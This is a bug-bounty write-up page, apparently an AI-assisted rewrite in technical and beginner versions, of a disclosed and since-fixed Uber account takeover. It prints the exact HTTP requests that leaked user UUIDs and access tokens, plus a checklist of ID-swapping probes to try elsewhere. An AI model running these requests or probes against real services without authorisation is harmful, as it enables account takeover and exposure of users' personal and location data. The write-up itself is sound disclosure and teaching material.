Skip to content
Account takeover Write-up Intermediate

I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead

An API endpoint returned a user's UUID when given their phone number or email, and another endpoint returned the user's full profile including an access token when given that UUID, allowing an attacker to take over any Uber account. The attacker could track the victim's location and take rides using the victim's account.

Anand Prakash Follow

Published on hackernoon.com

Bounty$6,500 View original

GPTZero works with the world's top publishers as the trusted standard for authenticity and quality. Learn more here](http://hackernoon.gptzero.me/?utmsource=hackernoon&utmmedium=logo&utmcampaign=hackernoonpartnership)

Anand Prakash (@anandpraka_sh), on hackernoon.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Uber is a transportation network company headquartered in San Francisco, California, offering peer-to-peer ridesharing, taxi cab hailing, food delivery and a bicycle-sharing system, with operations in 785 metropolitan areas worldwide. The vulnerability described here is an account takeover on Uber that let an attacker take over any other user's account (riders, partners and Eats) by supplying the victim's UUID in an API request and using the token leaked in the API response to hijack the account. The author was also able to enumerate any Uber user's UUID by supplying their phone number or email address in another API request.

The write-up was published with Uber's permission under its responsible disclosure policy, and the issue was plugged quickly by Uber's security team. The author notes the issue is similar to Facebook's access token leak discovered the previous year.

Setup

The report does not describe a lab setup, tooling or specific test accounts beyond the fact that the author validated the leaked token against test accounts. The requests shown are HTTP/1.1 calls to two Uber hosts, partners.uber.com and bonjour.uber.com, using JSON bodies. The second request carries a browser-style header set (Chrome 73 on macOS 10.14.3), an x-csrf-token, a session Cookie and an Origin of https://bonjour.uber.com. All values in the report are redacted or partial, so the exact tokens and identifiers are not reproducible from the text.

Finding it

The starting observation is that two different API surfaces on Uber's partner and marketplace backends leaked data they should not have. The first, an RPC endpoint used by the fleet manager to add a driver, echoed back the target user's UUID inside an error message when the supplied phone number or email did not match a driver. The second, an RPC endpoint that returns consent screen details, accepted a userUuid in the request body and returned the full user record for that UUID, including the mobile app access token.

Chained together, the two behaviours mean that anyone who knows a victim's phone number or email address can obtain their UUID, and then exchange that UUID for a token that grants full control of the account.

Exploitation

Step 1: Getting the UUID of any Uber user

The first API leaked any Uber user's (partner, rider or Uber Eats user) UUID when supplied with their phone number or email address.

API #1 takes a national phone number and country code:

HTTP
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

Response:
{"status":"failure","data":{"code":1009,"message":"Driver '47d063f8–0xx5e-xxxxx-b01a-xxxx' not found"}}

The request is a normal fleet-manager RPC call to add a driver. Because the phone number does not belong to a driver, the call fails, but the failure message includes the UUID of the user who owns that phone number: 47d063f8–0xx5e-4eb4-xxx-xxxxxxx is the leaked Uber UUID of the user with phone number 99999xxxxx.

API #2 does the same with an email address:

HTTP
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"email":"[redacted]"}

The response leaks the UUID:

JSON
{"status":"failure","data":{"code":1009,"message":"Driver 'ca111b95–1111–4396-b907–83abxxx5f7371e' not found"}}

Ca111b95–1111–4396-b907–83abxxx5f7371e is the leaked Uber UUID of the user with email address [redacted].

Step 2: Getting the access token of any Uber user by supplying the user id

With the UUID in hand, the attacker replays the marketplace consent-screen request with the victim's UUID in the body. The response returns the victim's private information, including the mobile app access token, location and address. The author states that the access token allowed complete takeover of the victim's account: viewing rides, requesting rides and seeing payment information, validated against test accounts using the leaked token.

The vulnerable Uber API:

HTTP
POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{"language":"en","userUuid":"xxxx–776–4xxxx1bd-861a-837xxx604ce"}

The response leaked the entire data of the other user, including the mobile app access token:

JSON
{"status":"success","data":{"data":{"language":"en","userUuid":"xxxxxx1e"},"getUser":{"uuid":"cxxxxxc5f7371e","firstname":"Maxxxx","lastname":"XXXX","role":"PARTNER","languageId":1,"countryId":77,"mobile":null,"mobileToken":1234,"mobileCountryId":77,"mobileCountryCode":"+91","hasAmbiguousMobileCountry":false,"lastConfirmedMobileCountryId":77,"email":"[[redacted]](http://mailto:[redacted])","emailToken":"xxxxxxxx","hasConfirmedMobile":"no","hasOptedInSmsMarketing":false,"hasConfirmedEmail":true,"gratuity":0.3,"nickname":"[[redacted]](http://mailto:[redacted])","location":"00000","banned":false,"cardio":false,"token":"b8038ec4143bb4xxxxxx72d","fraudScore":0,"inviterUuid":null,"pictureUrl":"xxxxx.jpeg","recentFareSplitterUuids":["xxx"],"lastSelectedPaymentProfileUuid":"xxxxxx","lastSelectedPaymentProfileGoogleWalletUuid":null,"inviteCode":{"promotionCodeId":xxxxx,"promotionCodeUuid":"xxxx","promotionCode":"manishas105","createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,215,101]},"updatedAt":{"type":"Buffer","data":[0,0,1,76,65,211,61,9]}},"driverInfo":{"contactinfo":"999999999xx","contactinfoCountryCode":"+91","driverLicense":"None","firstDriverTripUuid":null,"iphone":null,"partnerUserUuid":"xxxxxxx","receiveSms":true,"twilioNumber":null,"twilioNumberFormatted":null,"cityknowledgeScore":0,"createdAt":{"type":"Buffer","data":[0,0,1,84,21,124,80,52]},"updatedAt":{"type":"Buffer","data":[0,0,1,86,152,77,41,77]},"deletedAt":null,"driverStatus":"APPLIED","driverFlowType":"UBERX","statusLocks":null,"contactinfoCountryIso2Code":"KR","driverEngagement":null,"courierEngagement":null},"partnerInfo":{"address":"Nxxxxxxx","territoryUuid":"xxxxxx","company":"None","address2":"None","cityId":130,"cityName":"None","firstPartnerTripUuid":null,"preferredCollectionPaymentProfileUuid":null,"phone":"","phoneCountryCode":"+91","state":"None","vatNumber":"None","zipcode":"None","createdAt":{"type":"Buffer","data":[0,0,1,84,21,124,80,52]},"updatedAt":{"type":"Buffer","data":[0,0,1,101,38,177,88,137]},"deletedAt":null,"fleetTypes":[],"fleetServices":[],"isFleet":true},"analytics":{"signupLat":133.28741199,"signupLng":11177.1111,"signupTerritoryUuid":"xxxxx","signupPromoId":null,"signupForm":"iphone","signupSessionId":"xxxxxxx","signupAppVersion":"2.64.1","signupAttributionMethod":null,"createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,219,1]},"updatedAt":{"type":"Buffer","data":[0,0,1,76,2,21,219,1]},"signupCityId":130,"signupDeviceId":null,"signupReferralId":null,"signupPromoCode":null,"signupPromoCodeUuid":null,"signupPromoUuid":null,"signupMethod":"REGULAR"},"createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,215,153]},"updatedAt":{"type":"Buffer","data":[0,0,1,102,81,35,153,135]},"deletedAt":null,"tenancy":"uber/production","mobileConfirmationStatus":"MOBILE_NOT_CONFIRMED","nationalId":null,"nationalIdType":null,"merchantLocation":null,"lastConfirmedMobile":"xxxxxxxxxx","requestedDeletionAt":null,"dateOfBirth":xxxxxx,"userTypes":null,"preferredName":"xxxxxxxx","freightInfo":null,"tempPictureUrl":null,"identityVerified":null,"paymentEntityType":null,"riderEngagement":null,"identityRejectReasonUuid":null,"genderInferred":null,"genderIdentity":null,"genderDocumented":null,"riderIneligibleWdw":null,"defaultPaymentProfileByProduct":null,"loginEligibility":null},"getDisclosureVersionUuid":"","getLocaleCopy":null}}

The important field is token (b8038ec4143bb4xxxxxx72d), the mobile app access token. The response also contains the victim's name, email, mobile number, address, driver and partner records, signup analytics and other profile fields. The author notes that the leaked token allowed tracking the victim's location and taking rides from their account, and that it also permitted takeover of Uber driver and Eats accounts.

A video proof of concept accompanies the write-up:

Watch the video on Vimeo
From the original on hackernoon.com

Root cause

The consent-screen RPC accepted a userUuid supplied in the request body and returned the full user record for that UUID, including the access token. The fleet-manager RPC leaked the same UUID in its error message, so the two together turned a known phone number or email into a full account takeover. The report does not describe the server-side code, so the exact reason the session check was missing is not stated;

Impact

An attacker who knows a victim's phone number or email address could obtain the victim's UUID, then exchange it for the victim's mobile app access token and take over the account. The author states this allowed tracking the victim's location and taking rides from their account, and that it also permitted takeover of Uber driver and Eats accounts. The author validated the leaked token against test accounts, viewing rides, requesting rides and seeing payment information.

Fix

Uber fixed the issue by authorising the request with the current user session and removing sensitive information such as the access token from the response.

Disclosure timeline

  1. April 19, 2019: reported to Uber.
  2. April 25, 2019: report triaged.
  3. April 26, 2019: vulnerability fixed, and a bounty of $6500 USD awarded.
  4. June 28, 2019: disclosure requested.
  5. September 9, 2019: report disclosed by Uber.

Variants to test

  1. Object references in RPC bodies. Send a request to an RPC endpoint that takes an identifier in the JSON body (a UUID, user id or account id) and check whether the response contains data for that identifier rather than the caller's own. A positive result is a response containing another account's profile fields or tokens.
  2. Error messages that echo identifiers. Submit a phone number or email to a lookup or add-user endpoint and inspect the failure message. A positive result is an error that includes the target's internal identifier, which can then be fed into other endpoints.
  3. Token fields in profile responses. Request your own profile through each endpoint and look for fields such as token, emailToken or mobileToken. A positive result is a token that is accepted by the mobile or web API as an authentication credential for that account.
  4. Session scoping checks. Replay a request with a valid session for account A but an identifier for account B, and compare the response with the same request made without a session. A positive result is identical data in both cases, showing the session is not used for authorisation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 36 min read.

What happened, in plain words

Imagine you call a hotel reception and ask, "Is there a guest called John Smith staying here?" The receptionist says, "I can't find a guest called John Smith, but the guest in room 412 is John Smith." You did not ask for a room number, but you got one anyway. Now imagine you can walk up to room 412 and, just by saying the room number, the door opens and you are handed the guest's wallet, passport and car keys. That is roughly the shape of the bug described here.

On Uber, two separate parts of the website and app worked together to make this possible. The first part was a form used by Uber's partner (driver) side to add a new driver. If you typed in a phone number or an email address that did not belong to a driver, the form failed, but the error message told you the internal ID number of the person who owned that phone number or email. That internal ID is called a UUID.

The second part was an API that returns consent screen details (the screen where you agree to share some information). That page accepted a UUID in the request and returned the full profile of whoever the UUID belonged to. That profile included a secret token, which is the digital key the Uber mobile app uses to prove who you are. With that key, an attacker could act as the victim: see their rides, book rides in their name, see their payment details, and track their location.

The author, Anand Prakash, found this and reported it to Uber, and the security team plugged it quickly. Uber paid a bounty of $6500 USD. The write-up was published with Uber's permission under Uber's responsible disclosure policy. The author notes that the issue is similar to a Facebook access token leak that was discovered the previous year.

This article walks through the same steps the author took, in the same order, but explains every term from scratch. If you have never done security work before, you should be able to follow along.

Background: what Uber is and what the pieces are

Uber is a transportation network company headquartered in San Francisco, California. It offers peer-to-peer ridesharing, taxi cab hailing, food delivery and a bicycle-sharing system, and it operates in 785 metropolitan areas worldwide. The report mentions a valuation of over $100 billion as per Bloomberg's report.

Before we go further, here are the ideas you need to know. Each one is explained again where it first appears in the walkthrough, but a quick overview helps.

  • API: an API (Application Programming Interface) is a way for one piece of software to talk to another. Think of it as a waiter in a restaurant. You (the app) tell the waiter (the API) what you want, the waiter goes to the kitchen (the server) and brings back your order (the response). You never walk into the kitchen yourself. When you use the Uber app, the app is constantly talking to Uber's APIs behind the scenes.
  • HTTP request: the message the app sends to the API. It has a method (like POST, meaning "I am sending you some data"), a path (like /p3/fleet-manager/_rpc?rpc=addDriverV2), a host (the server name), some headers (extra information like what browser you are using) and a body (the actual data, often in JSON).
  • JSON: a simple text format for data. It looks like {"name":"Alice","age":30}. Curly braces hold an object, and inside are key/value pairs separated by commas. It is just text, but structured so computers can read it easily.
  • UUID: a Universally Unique Identifier. It is a long string of letters, numbers and dashes, like 47d063f8-0xx5e-xxxxx-b01a-xxxx, that is meant to identify one specific thing (in this case, one specific user account) without any chance of two accounts sharing it. Think of it as an account number that is not your username.
  • Token (access token): a secret string that proves who you are, like a wristband at a festival. Once you have the wristband, you can go in and out of the festival without showing your ticket again. In apps, the token is what the app sends with every request so the server knows which account is asking. If someone else gets your token, they can pretend to be you.
  • Cookie: a small piece of data the browser stores for a website, and sends back with every request to that site. It is often used to hold a session identifier, which is how the server remembers that you are logged in. Think of it as the stamp on your hand at a club: you show it at the door and they let you back in.
  • CSRF token: a Cross-Site Request Forgery token. It is a random value the server puts into a page and expects to see again when the page submits a form. Its job is to make sure the request really came from the site's own page and not from some other site trying to trick your browser. The x-csrf-token header in the requests below is this value.
  • Session: the server's memory of "this browser is logged in as this user". It is usually tied to a cookie. When we say a request is "scoped to the session", we mean the server checks the session to decide whose data to return.
  • Account takeover: exactly what it sounds like. An attacker gains enough control over someone else's account to act as them. In this case, the attacker could see the victim's rides, book rides, see payment information and track location.
  • Information disclosure: a class of bug where a system reveals information it should not. Sometimes the information is small (a username), sometimes it is a secret (a token). Here, the bug is information disclosure that leads to account takeover.
  • Responsible disclosure: the practice of telling a company about a security bug privately, giving them time to fix it, and only then publishing details. The write-up says it is published with Uber's permission under Uber's responsible disclosure policy.
  • Bounty: a reward a company pays to a researcher who reports a valid security bug. Here it was $6500 USD.
  • RPC: Remote Procedure Call. It is a style of API where the URL contains the name of a function to run, like ?rpc=addDriverV2. You are effectively saying "run the function called addDriverV2 for me". The _rpc in the paths below is a hint that this is that style of endpoint.
  • Enumeration: systematically walking through possible values to discover which ones exist. Here, the author could enumerate UUIDs by trying phone numbers and email addresses.
gpt zero logo
gpt zero logo From the original on hackernoon.com
featured image - I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead
featured image - I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead
Anand Prakash
Anand Prakash
Anand Prakash
Anand Prakash
gpt zero logo
gpt zero logo

The two APIs involved

The author found two API endpoints on Uber's systems that each did something they should not have done on their own, and which together were much worse.

  1. A fleet-manager endpoint on partners.uber.com that is used to add a driver. When you give it a phone number or email that does not belong to a driver, it fails, but the failure message includes the UUID of the user who owns that phone number or email.
  2. A marketplace endpoint on bonjour.uber.com that returns consent screen details. It accepts a userUuid in the request body and returns the full user record for that UUID, including the mobile app access token, without checking that the caller is that user.

Chain them: anyone who knows a victim's phone number or email can get the victim's UUID from the first, then trade that UUID for a token from the second, and that token gives full control of the account.

Step 1: Getting the UUID of any Uber user

The first API leaked any Uber user's UUID (partner, rider or Uber Eats user) when supplied with their phone number or email address. The reason this matters is that the UUID is the key you need for step 2. Without it, you cannot ask the second API for the victim's data. So step 1 is about turning something public (a phone number or email) into something internal (the UUID).

API #1: phone number in, UUID out

API #1 takes a national phone number and a country code:

HTTP
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

Response:
{"status":"failure","data":{"code":1009,"message":"Driver '47d063f8–0xx5e-xxxxx-b01a-xxxx' not found"}}

Line by line:

  • POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1: this is the first line of an HTTP request. POST means "I am sending data". The path /p3/fleet-manager/_rpc?rpc=addDriverV2 says which function to run: the addDriverV2 function on the fleet-manager service. HTTP/1.1 is the version of the protocol.
  • Host: partners.uber.com: this tells the server which website name we are talking to. A single server can host many sites, so the host header picks one.
  • {"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}: this is the body, in JSON. It says "the phone number is 99999xxxxx and the country code is 1". The xxxxx at the end is redaction: the author has hidden the real digits. The 1 is the country calling code.
  • Response:: this is not part of the request. It marks the start of what the server sent back.
  • {"status":"failure","data":{"code":1009,"message":"Driver '47d063f8–0xx5e-xxxxx-b01a-xxxx' not found"}}: the server says the operation failed (status: failure), gives an error code 1009, and the message says no driver was found. The important part is the string inside the message: 47d063f8–0xx5e-xxxxx-b01a-xxxx. That is the UUID of the user who owns the phone number.

The author states that 47d063f8–0xx5e-4eb4-xxx-xxxxxxx is the leaked Uber UUID of the user with phone number 99999xxxxx.

Why this step was taken: the attacker needs the victim's UUID for step 2. The phone number is something an attacker may know. The UUID is not. This endpoint turns the first into the second.

API #2: email in, UUID out

API #2 does the same thing with an email address:

HTTP
POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{"email":"[redacted]"}

Line by line:

  • POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1: same request line as before. Same function, same service.
  • Host: partners.uber.com: same host.
  • {"email":"[redacted]"}: the body now contains an email address instead of a phone number. The xxx is redaction.

The response leaks the UUID:

JSON
{"status":"failure","data":{"code":1009,"message":"Driver 'ca111b95–1111–4396-b907–83abxxx5f7371e' not found"}}

Line by line:

  • {"status":"failure",...}: again, the operation failed. That is expected: the email does not belong to a driver.
  • "code":1009: the same error code as before, which suggests the same code path is being hit.
  • "message":"Driver 'ca111b95–1111–4396-b907–83abxxx5f7371e' not found": the message contains the UUID of the user who owns the email address. The author states that Ca111b95–1111–4396-b907–83abxxx5f7371e is the leaked Uber UUID of the user with email address [redacted].

Why this step was taken: same reason as API #1, but with a different identifier.

At this point the attacker has a UUID. That is not enough to log in. The next step is to use the UUID to obtain the access token.

Step 2: Getting the access token of any Uber user by supplying the user id

With the UUID in hand, the attacker replays the marketplace consent-screen request with the victim's UUID in the body. The response returns the victim's private information, including the mobile app access token, location and address. The author states that the access token allowed complete takeover of the victim's account: viewing rides, requesting rides and seeing payment information, validated against test accounts using the leaked token.

The vulnerable Uber API:

HTTP
POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{"language":"en","userUuid":"xxxx–776–4xxxx1bd-861a-837xxx604ce"}

Line by line:

  • POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1: this is a request to run the getConsentScreenDetails function on the marketplace service. A consent screen is the page where you agree to share some information with an app. This function is what builds that page.
  • Host: bonjour.uber.com: the server name. Note it is different from partners.uber.com in step 1. The two APIs live on different hosts.
  • Connection: close: tells the server to close the connection after this response. It is a normal HTTP header.
  • Content-Length: 67: the size of the body in bytes. The server uses it to know how much data to read.
  • Accept: application/json: tells the server the client expects JSON back.
  • Origin: https://bonjour.uber.com: tells the server which site the request came from. Browsers add this automatically. It is part of how servers decide whether to allow a request.
  • x-csrf-token: xxxx: the CSRF token described earlier. It is a value the server gave the page, and the page sends it back to prove the request came from the page. The xxxx is redaction.
  • User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36: this tells the server what browser and operating system the client claims to be. Here it claims to be Chrome 73 on macOS 10.14.3. Servers sometimes use this to decide how to respond.
  • DNT: 1: Do Not Track. A browser preference. It is not a security control.
  • Content-Type: application/json: tells the server the body is JSON.
  • Accept-Encoding: gzip, deflate: tells the server the client can accept compressed responses.
  • Accept-Language: en-US,en;q=0.9: tells the server the client prefers English (US).
  • Cookie: xxxxx: the session cookie. This is how the server knows who is logged in. The xxxxx is redaction. The key point is that the request carries a valid session, but the body asks for a different user's data.
  • {"language":"en","userUuid":"xxxx–776–4xxxx1bd-861a-837xxx604ce"}: the body. It says "language is English, and the user UUID is ...". The UUID here is the victim's, obtained in step 1. The xxxx parts are redaction.

Why this step was taken: the attacker has the victim's UUID but not the victim's token. Instead, it returns the full record for whatever UUID is in the body. So the attacker puts the victim's UUID in the body and gets the victim's record back.

The response leaked the entire data of the other user, including the mobile app access token:

JSON
{"status":"success","data":{"data":{"language":"en","userUuid":"xxxxxx1e"},"getUser":{"uuid":"cxxxxxc5f7371e","firstname":"Maxxxx","lastname":"XXXX","role":"PARTNER","languageId":1,"countryId":77,"mobile":null,"mobileToken":1234,"mobileCountryId":77,"mobileCountryCode":"+91","hasAmbiguousMobileCountry":false,"lastConfirmedMobileCountryId":77,"email":"[[redacted]](http://mailto:[redacted])","emailToken":"xxxxxxxx","hasConfirmedMobile":"no","hasOptedInSmsMarketing":false,"hasConfirmedEmail":true,"gratuity":0.3,"nickname":"[[redacted]](http://mailto:[redacted])","location":"00000","banned":false,"cardio":false,"token":"b8038ec4143bb4xxxxxx72d","fraudScore":0,"inviterUuid":null,"pictureUrl":"xxxxx.jpeg","recentFareSplitterUuids":["xxx"],"lastSelectedPaymentProfileUuid":"xxxxxx","lastSelectedPaymentProfileGoogleWalletUuid":null,"inviteCode":{"promotionCodeId":xxxxx,"promotionCodeUuid":"xxxx","promotionCode":"manishas105","createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,215,101]},"updatedAt":{"type":"Buffer","data":[0,0,1,76,65,211,61,9]}},"driverInfo":{"contactinfo":"999999999xx","contactinfoCountryCode":"+91","driverLicense":"None","firstDriverTripUuid":null,"iphone":null,"partnerUserUuid":"xxxxxxx","receiveSms":true,"twilioNumber":null,"twilioNumberFormatted":null,"cityknowledgeScore":0,"createdAt":{"type":"Buffer","data":[0,0,1,84,21,124,80,52]},"updatedAt":{"type":"Buffer","data":[0,0,1,86,152,77,41,77]},"deletedAt":null,"driverStatus":"APPLIED","driverFlowType":"UBERX","statusLocks":null,"contactinfoCountryIso2Code":"KR","driverEngagement":null,"courierEngagement":null},"partnerInfo":{"address":"Nxxxxxxx","territoryUuid":"xxxxxx","company":"None","address2":"None","cityId":130,"cityName":"None","firstPartnerTripUuid":null,"preferredCollectionPaymentProfileUuid":null,"phone":"","phoneCountryCode":"+91","state":"None","vatNumber":"None","zipcode":"None","createdAt":{"type":"Buffer","data":[0,0,1,84,21,124,80,52]},"updatedAt":{"type":"Buffer","data":[0,0,1,101,38,177,88,137]},"deletedAt":null,"fleetTypes":[],"fleetServices":[],"isFleet":true},"analytics":{"signupLat":133.28741199,"signupLng":11177.1111,"signupTerritoryUuid":"xxxxx","signupPromoId":null,"signupForm":"iphone","signupSessionId":"xxxxxxx","signupAppVersion":"2.64.1","signupAttributionMethod":null,"createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,219,1]},"updatedAt":{"type":"Buffer","data":[0,0,1,76,2,21,219,1]},"signupCityId":130,"signupDeviceId":null,"signupReferralId":null,"signupPromoCode":null,"signupPromoCodeUuid":null,"signupPromoUuid":null,"signupMethod":"REGULAR"},"createdAt":{"type":"Buffer","data":[0,0,1,76,2,21,215,153]},"updatedAt":{"type":"Buffer","data":[0,0,1,102,81,35,153,135]},"deletedAt":null,"tenancy":"uber/production","mobileConfirmationStatus":"MOBILE_NOT_CONFIRMED","nationalId":null,"nationalIdType":null,"merchantLocation":null,"lastConfirmedMobile":"xxxxxxxxxx","requestedDeletionAt":null,"dateOfBirth":xxxxxx,"userTypes":null,"preferredName":"xxxxxxxx","freightInfo":null,"tempPictureUrl":null,"identityVerified":null,"paymentEntityType":null,"riderEngagement":null,"identityRejectReasonUuid":null,"genderInferred":null,"genderIdentity":null,"genderDocumented":null,"riderIneligibleWdw":null,"defaultPaymentProfileByProduct":null,"loginEligibility":null},"getDisclosureVersionUuid":"","getLocaleCopy":null}}

Line by line, the important parts:

  • {"status":"success",...}: this time the operation succeeded. The server is happy to return the data.
  • "data":{"data":{"language":"en","userUuid":"xxxxxx1e"},...}: the outer data holds the response. The inner data echoes back the language and the UUID that was asked for.
  • "getUser":{...}: this is the full user record. Everything inside belongs to the victim.
  • "uuid":"cxxxxxc5f7371e": the victim's UUID, as stored on the server.
  • "firstname":"Maxxxx", "lastname":"XXXX": the victim's name. Redacted in the report.
  • "role":"PARTNER": the victim's role. PARTNER means a driver or fleet partner, not a rider.
  • "mobile":null, "mobileToken":1234, "mobileCountryCode":"+91": mobile phone related fields. mobileToken is a value used in mobile verification, not the access token.
  • "email":"[[redacted]](http://mailto:[redacted])": the victim's email address, redacted.
  • "emailToken":"xxxxxxxx": a token related to email verification. Redacted.
  • "token":"b8038ec4143bb4xxxxxx72d": this is the important one. This is the mobile app access token. It is the key that lets the mobile app act as this user. The xxxxxx in the middle is redaction.
  • "location":"00000": a location field. The value is redacted or placeholder.
  • "inviteCode":{..."promotionCode":"manishas105"...}: the victim's invite code details.
  • "driverInfo":{...}: the victim's driver record, including contactinfo, driverStatus (APPLIED), driverFlowType (UBERX) and other driver fields.
  • "partnerInfo":{...}: the victim's partner record, including address, cityId, phoneCountryCode and other partner fields.
  • "analytics":{...}: signup analytics, including signupLat, signupLng, signupForm (iphone), signupAppVersion (2.64.1) and other signup fields.
  • "tenancy":"uber/production": which environment this record lives in. production means the live system, not a test system.
  • "mobileConfirmationStatus":"MOBILE_NOT_CONFIRMED": whether the mobile number has been confirmed.
  • "dateOfBirth":xxxxxx: the victim's date of birth, redacted.
  • "preferredName":"xxxxxxxx": the victim's preferred name, redacted.

The author notes that the leaked token allowed tracking the victim's location and taking rides from their account, and that it also permitted takeover of Uber driver and Eats accounts. The author validated the leaked token against test accounts, viewing rides, requesting rides and seeing payment information.

Why this step was taken: the token is the key. With it, the attacker does not need the victim's password. The app sends the token with every request, and the server trusts it. So the attacker can use the token to make requests as the victim.

A video proof of concept accompanies the write-up:

Watch the video on Vimeo
From the original on hackernoon.com

Why this worked (the root cause)

The consent-screen RPC accepted a userUuid supplied in the request body and returned the full user record for that UUID, including the access token. In plain words: the server looked at the body to decide whose data to return, instead of looking at the session cookie to decide who was asking. The session cookie said "this is user A", but the body said "give me user B's data", and the server obeyed the body.

The fleet-manager RPC leaked the same UUID in its error message, so the two together turned a known phone number or email into a full account takeover. The report does not describe the server-side code, so the exact reason the session check was missing is not stated.

Impact

An attacker who knows a victim's phone number or email address could obtain the victim's UUID, then exchange it for the victim's mobile app access token and take over the account. The author states this allowed tracking the victim's location and taking rides from their account, and that it also permitted takeover of Uber driver and Eats accounts. The report does not give a count of affected users or describe any exploitation in the wild.

The fix

Uber fixed the issue by authorising the request with the current user session and removing sensitive information such as the access token from the response. In plain words: the server now checks the session cookie to decide whose data to return, and it no longer includes the access token in the response.

Disclosure timeline

  1. April 19, 2019: reported to Uber.
  2. April 25, 2019: report triaged. Triaged means Uber's security team looked at it and confirmed it was a real issue worth working on.
  3. April 26, 2019: vulnerability fixed, and a bounty of $6500 USD awarded.
  4. June 28, 2019: disclosure requested. The author asked Uber for permission to publish the details.
  5. September 9, 2019: report disclosed by Uber.

Variants to test

If you are learning to look for bugs like this, here are the same ideas expressed as things to try. Each one is a pattern, not a specific Uber endpoint. The point is to recognise the shape of the bug when you see it elsewhere.

  1. Object references in RPC bodies. Send a request to an RPC endpoint that takes an identifier in the JSON body (a UUID, user id or account id) and check whether the response contains data for that identifier rather than the caller's own. A positive result is a response containing another account's profile fields or tokens. In plain words: does the server believe the body, or the session?
  2. Error messages that echo identifiers. Submit a phone number or email to a lookup or add-user endpoint and inspect the failure message. A positive result is an error that includes the target's internal identifier, which can then be fed into other endpoints. In plain words: does the error message tell you more than it should?
  3. Token fields in profile responses. Request your own profile through each endpoint and look for fields such as token, emailToken or mobileToken. A positive result is a token that is accepted by the mobile or web API as an authentication credential for that account. In plain words: does the profile response hand you a key?
  4. Session scoping checks. Replay a request with a valid session for account A but an identifier for account B, and compare the response with the same request made without a session. A positive result is identical data in both cases, showing the session is not used for authorisation. In plain words: does the server care who is asking?

Glossary

  • API: a way for one piece of software to talk to another, like a waiter taking your order to the kitchen and bringing back the food.
  • HTTP request: the message an app or browser sends to a server, containing a method, a path, headers and a body.
  • HTTP response: the message the server sends back, containing a status and usually a body.
  • JSON: a text format for structured data, using curly braces, square brackets, keys and values.
  • UUID: a long, unique identifier string used to refer to one specific thing, such as one user account.
  • Token (access token): a secret string that proves who you are to an API, like a wristband at a festival.
  • Cookie: a small piece of data the browser stores for a site and sends back with each request, often holding a session identifier.
  • Session: the server's memory of which user a browser is logged in as, usually tied to a cookie.
  • CSRF token: a random value the server puts into a page and expects back on submission, to prove the request came from the site's own page.
  • Header: an extra piece of information attached to an HTTP request or response, such as Host, Cookie or User-Agent.
  • Host: the server name in a request, telling the server which site is being addressed.
  • User-Agent: a header in which the client describes what browser and operating system it is.
  • Origin: a header telling the server which site the request came from.
  • Content-Type: a header telling the server what format the body is in, such as JSON.
  • Content-Length: a header giving the size of the body in bytes.
  • RPC: Remote Procedure Call, an API style where the URL names a function to run, like ?rpc=addDriverV2.
  • Endpoint: a specific URL and function on a server that a client can call.
  • Enumeration: systematically trying values to discover which ones exist, such as trying phone numbers to find UUIDs.
  • Account takeover: gaining enough control over someone else's account to act as them.
  • Information disclosure: a bug class where a system reveals information it should not.
  • Authorisation: the server's decision about whether the caller is allowed to do what they are asking.
  • Authentication: the server's decision about who the caller is.
  • Session scoping: tying a response to the session that made the request, so the server returns only that user's data.
  • Responsible disclosure: reporting a security bug privately to the company, giving them time to fix it, and publishing details only afterwards with permission.
  • Triaged: reviewed and confirmed by the company's security team as a real issue.
  • Redaction: hiding or replacing sensitive values in a published report, often with xxxx.
  • Proof of concept (PoC): a demonstration that a bug is real, often a video or a set of requests.
  • Fleet manager: the part of Uber's partner system used to manage drivers and fleets.
  • Consent screen: the page where a user agrees to share some information with an app.
  • Partner: in Uber's terms, a driver or fleet partner account, as opposed to a rider account.
  • Uber Eats: Uber's food delivery service, which has its own user accounts.
  • partners.uber.com: the host used by the fleet-manager endpoint in step 1.
  • bonjour.uber.com: the host used by the marketplace consent-screen endpoint in step 2.
  • addDriverV2: the RPC function called in step 1, used to add a driver.
  • getConsentScreenDetails: the RPC function called in step 2, used to build the consent screen.
